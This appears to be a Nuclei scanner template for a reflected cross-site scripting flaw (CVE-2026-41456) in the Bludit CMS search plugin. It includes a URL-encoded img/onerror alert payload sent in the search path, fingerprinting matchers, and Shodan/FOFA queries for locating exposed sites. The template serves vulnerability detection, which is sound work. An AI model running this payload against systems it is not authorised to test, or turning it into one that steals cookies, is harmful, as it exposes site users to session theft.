CVE-2026-41456: Bludit CMS <= 3.20.0 - Cross-Site Scripting

id: CVE-2026-41456

info:
  name: Bludit CMS <= 3.20.0 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query.
  impact: |
    Attackers can execute malicious scripts in users' browsers, potentially stealing session cookies or performing actions on their behalf.
  remediation: |
    Update to the version including commit 6732dde or later.
  reference:
    - https://github.com/bludit/bludit/commit/6732ddedda8b73ce0a017a1b6adf685100244e01
    - https://gist.github.com/thepiyushkumarshukla/36b213cdb3c7d603e23fd23605cd681e
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41456
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-41456
    epss-score: 0.02722
    epss-percentile: 0.85604
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: bludit
    product: bludit
    shodan-query: http.html:"Bludit"
    fofa-query: body="Powered by Bludit" || body="bludit.com"
  tags: cve,cve2026,bludit,xss,cms

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "powered by bludit", "content=\"bludit\"", "bl-kernel")'
        condition: and
        internal: true

  - raw:
      - |
        GET /search/%22%3E%3Cimg%20src%3D1%20onerror%3Dalert(document.domain)%3E.gif HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_any(tolower(body), "bludit")'
          - 'contains(body, "onerror=alert(document.domain)>")'
        condition: and
# digest: 490a00463044022074b82263cdadf88f5a63384f131de2f4c63def5d9ee3e7a18692fd32ae8a078802202dde95469e2c54a0eaf130e7d9bbee18757d4d15d25765d38f3fbf8338f08918:922c64590222798bb761d5b6d8e72950

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